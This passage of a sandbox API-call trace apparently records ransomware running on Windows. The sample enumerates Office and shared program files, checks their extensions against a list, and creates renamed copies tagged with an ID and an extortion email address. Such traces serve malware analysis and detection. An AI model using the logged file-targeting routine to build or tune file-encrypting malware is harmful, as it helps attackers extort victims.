(lpString="ACCDDSUI.DLL") returned 12 [0274.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0274.817] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30fff1c | out: lpFileSize=0x30fff1c*=21424) returned 1 [0274.817] CloseHandle (hObject=0x39c) returned 1 [0274.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll")) returned 0x20 [0274.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0274.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0274.817] lstrlenW (lpString=".doc") returned 4 [0274.817] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0274.817] lstrlenW (lpString=".docx") returned 5 [0274.817] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0274.817] lstrlenW (lpString=".pdf") returned 4 [0274.817] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0274.817] lstrlenW (lpString=".xls") returned 4 [0274.817] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0274.817] lstrlenW (lpString=".xlsx") returned 5 [0274.817] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0274.817] lstrlenW (lpString=".ppt") returned 4 [0274.817] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0274.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0274.817] lstrlenW (lpString=".zip") returned 4 [0274.817] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0274.817] lstrlenW (lpString=".rar") returned 4 [0274.818] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0274.818] lstrlenW (lpString=".bz2") returned 4 [0274.818] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0274.818] lstrlenW (lpString=".7z") returned 3 [0274.818] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0274.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0274.818] lstrlenW (lpString=".dbf") returned 4 [0274.818] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0274.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0274.818] lstrlenW (lpString=".1cd") returned 4 [0274.818] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0274.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0274.818] lstrlenW (lpString=".jpg") returned 4 [0274.818] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0274.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0274.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0274.818] lstrlenW (lpString=".doc") returned 4 [0274.818] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0274.818] lstrlenW (lpString=".docx") returned 5 [0274.818] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0274.818] lstrlenW (lpString=".pdf") returned 4 [0274.818] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0274.818] lstrlenW (lpString=".xls") returned 4 [0274.818] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0274.818] lstrlenW (lpString=".xlsx") returned 5 [0274.818] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0274.818] lstrlenW (lpString=".ppt") returned 4 [0274.818] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0274.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0274.818] lstrlenW (lpString=".zip") returned 4 [0274.818] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0274.818] lstrlenW (lpString=".rar") returned 4 [0274.818] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0274.819] lstrlenW (lpString=".bz2") returned 4 [0274.819] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0274.819] lstrlenW (lpString=".7z") returned 3 [0274.819] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0274.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0274.819] lstrlenW (lpString=".dbf") returned 4 [0274.819] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0274.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0274.819] lstrlenW (lpString=".1cd") returned 4 [0274.819] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0274.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0274.819] lstrlenW (lpString=".jpg") returned 4 [0274.819] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0274.819] lstrcmpiW (lpString1=".ACC", lpString2=".html") returned -1 [0274.819] lstrlenW (lpString="ACCESS12.ACC") returned 12 [0274.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0274.819] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30fff1c | out: lpFileSize=0x30fff1c*=495616) returned 1 [0274.819] CloseHandle (hObject=0x39c) returned 1 [0274.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc")) returned 0x20 [0274.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0274.820] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.820] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 100 os_tid = 0x688 [0266.602] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10000) returned 0x39b0ce8 [0266.603] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10000) returned 0x39c0cf0 [0266.603] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f5558 [0266.603] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6) returned 0x2f2fe0 [0266.603] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f5570 [0266.603] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x100000) returned 0x3e50020 [0266.603] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f5588 [0266.603] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f5588, Size=0x20) returned 0x3992b8 [0266.603] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f5588 [0266.603] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f5588, Size=0x20) returned 0x3992e0 [0266.603] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77410000 [0266.603] GetProcAddress (hModule=0x77410000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7743d650 [0266.603] Wow64DisableWow64FsRedirection (in: OldValue=0x323ff58 | out: OldValue=0x323ff58*=0x0) returned 1 [0266.603] lstrlenW (lpString="kernel32.dll") returned 12 [0266.604] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x3992b8 | out: hHeap=0x2a0000) returned 1 [0266.604] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0266.604] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x3992e0 | out: hHeap=0x2a0000) returned 1 [0266.604] Sleep (dwMilliseconds=0x64) [0266.835] Sleep (dwMilliseconds=0x64) [0267.094] Sleep (dwMilliseconds=0x64) [0267.476] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0267.476] lstrlenW (lpString="keypad.xml") returned 10 [0267.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0267.590] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=727) returned 1 [0267.591] CloseHandle (hObject=0x2f4) returned 1 [0267.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0267.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0267.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0267.592] lstrlenW (lpString=".doc") returned 4 [0267.592] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.592] lstrlenW (lpString=".docx") returned 5 [0267.592] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0267.592] lstrlenW (lpString=".pdf") returned 4 [0267.592] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.592] lstrlenW (lpString=".xls") returned 4 [0267.592] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.592] lstrlenW (lpString=".xlsx") returned 5 [0267.592] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0267.592] lstrlenW (lpString=".ppt") returned 4 [0267.592] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0267.592] lstrlenW (lpString=".zip") returned 4 [0267.592] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.592] lstrlenW (lpString=".rar") returned 4 [0267.592] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.592] lstrlenW (lpString=".bz2") returned 4 [0267.592] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.592] lstrlenW (lpString=".7z") returned 3 [0267.592] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0267.592] lstrlenW (lpString=".dbf") returned 4 [0267.592] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0267.592] lstrlenW (lpString=".1cd") returned 4 [0267.592] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0267.592] lstrlenW (lpString=".jpg") returned 4 [0267.592] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0267.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0267.592] lstrlenW (lpString=".doc") returned 4 [0267.593] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.593] lstrlenW (lpString=".docx") returned 5 [0267.593] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0267.593] lstrlenW (lpString=".pdf") returned 4 [0267.593] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.593] lstrlenW (lpString=".xls") returned 4 [0267.593] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.593] lstrlenW (lpString=".xlsx") returned 5 [0267.593] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0267.593] lstrlenW (lpString=".ppt") returned 4 [0267.593] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0267.593] lstrlenW (lpString=".zip") returned 4 [0267.593] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.593] lstrlenW (lpString=".rar") returned 4 [0267.593] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.593] lstrlenW (lpString=".bz2") returned 4 [0267.593] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.593] lstrlenW (lpString=".7z") returned 3 [0267.593] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0267.593] lstrlenW (lpString=".dbf") returned 4 [0267.593] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0267.593] lstrlenW (lpString=".1cd") returned 4 [0267.593] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0267.593] lstrlenW (lpString=".jpg") returned 4 [0267.593] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.593] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0267.593] lstrlenW (lpString="base_ca.xml") returned 11 [0267.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0267.780] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=3166) returned 1 [0267.780] CloseHandle (hObject=0x2fc) returned 1 [0267.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0267.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0267.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0267.781] lstrlenW (lpString=".doc") returned 4 [0267.781] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.781] lstrlenW (lpString=".docx") returned 5 [0267.781] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0267.781] lstrlenW (lpString=".pdf") returned 4 [0267.781] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.781] lstrlenW (lpString=".xls") returned 4 [0267.781] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.781] lstrlenW (lpString=".xlsx") returned 5 [0267.781] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0267.781] lstrlenW (lpString=".ppt") returned 4 [0267.781] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0267.781] lstrlenW (lpString=".zip") returned 4 [0267.781] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.781] lstrlenW (lpString=".rar") returned 4 [0267.781] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.781] lstrlenW (lpString=".bz2") returned 4 [0267.781] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.781] lstrlenW (lpString=".7z") returned 3 [0267.781] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0267.781] lstrlenW (lpString=".dbf") returned 4 [0267.781] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0267.781] lstrlenW (lpString=".1cd") returned 4 [0267.781] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0267.781] lstrlenW (lpString=".jpg") returned 4 [0267.782] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0267.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0267.782] lstrlenW (lpString=".doc") returned 4 [0267.782] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.782] lstrlenW (lpString=".docx") returned 5 [0267.782] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0267.782] lstrlenW (lpString=".pdf") returned 4 [0267.782] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.782] lstrlenW (lpString=".xls") returned 4 [0267.782] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.782] lstrlenW (lpString=".xlsx") returned 5 [0267.782] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0267.782] lstrlenW (lpString=".ppt") returned 4 [0267.782] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0267.782] lstrlenW (lpString=".zip") returned 4 [0267.782] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.782] lstrlenW (lpString=".rar") returned 4 [0267.782] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.782] lstrlenW (lpString=".bz2") returned 4 [0267.782] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.782] lstrlenW (lpString=".7z") returned 3 [0267.782] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0267.782] lstrlenW (lpString=".dbf") returned 4 [0267.782] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0267.782] lstrlenW (lpString=".1cd") returned 4 [0267.782] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0267.782] lstrlenW (lpString=".jpg") returned 4 [0267.782] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.783] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0267.783] lstrlenW (lpString="base_jpn.xml") returned 12 [0267.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0267.783] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=804) returned 1 [0267.783] CloseHandle (hObject=0x2fc) returned 1 [0267.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0267.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0267.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0267.783] lstrlenW (lpString=".doc") returned 4 [0267.783] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.783] lstrlenW (lpString=".docx") returned 5 [0267.783] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0267.783] lstrlenW (lpString=".pdf") returned 4 [0267.783] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.783] lstrlenW (lpString=".xls") returned 4 [0267.784] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.784] lstrlenW (lpString=".xlsx") returned 5 [0267.784] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0267.784] lstrlenW (lpString=".ppt") returned 4 [0267.784] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0267.784] lstrlenW (lpString=".zip") returned 4 [0267.784] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.784] lstrlenW (lpString=".rar") returned 4 [0267.784] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.784] lstrlenW (lpString=".bz2") returned 4 [0267.784] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.784] lstrlenW (lpString=".7z") returned 3 [0267.784] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0267.784] lstrlenW (lpString=".dbf") returned 4 [0267.784] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0267.784] lstrlenW (lpString=".1cd") returned 4 [0267.784] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0267.784] lstrlenW (lpString=".jpg") returned 4 [0267.784] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0267.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0267.784] lstrlenW (lpString=".doc") returned 4 [0267.784] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.784] lstrlenW (lpString=".docx") returned 5 [0267.784] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0267.784] lstrlenW (lpString=".pdf") returned 4 [0267.784] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.784] lstrlenW (lpString=".xls") returned 4 [0267.784] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.784] lstrlenW (lpString=".xlsx") returned 5 [0267.785] lstrcmpiW 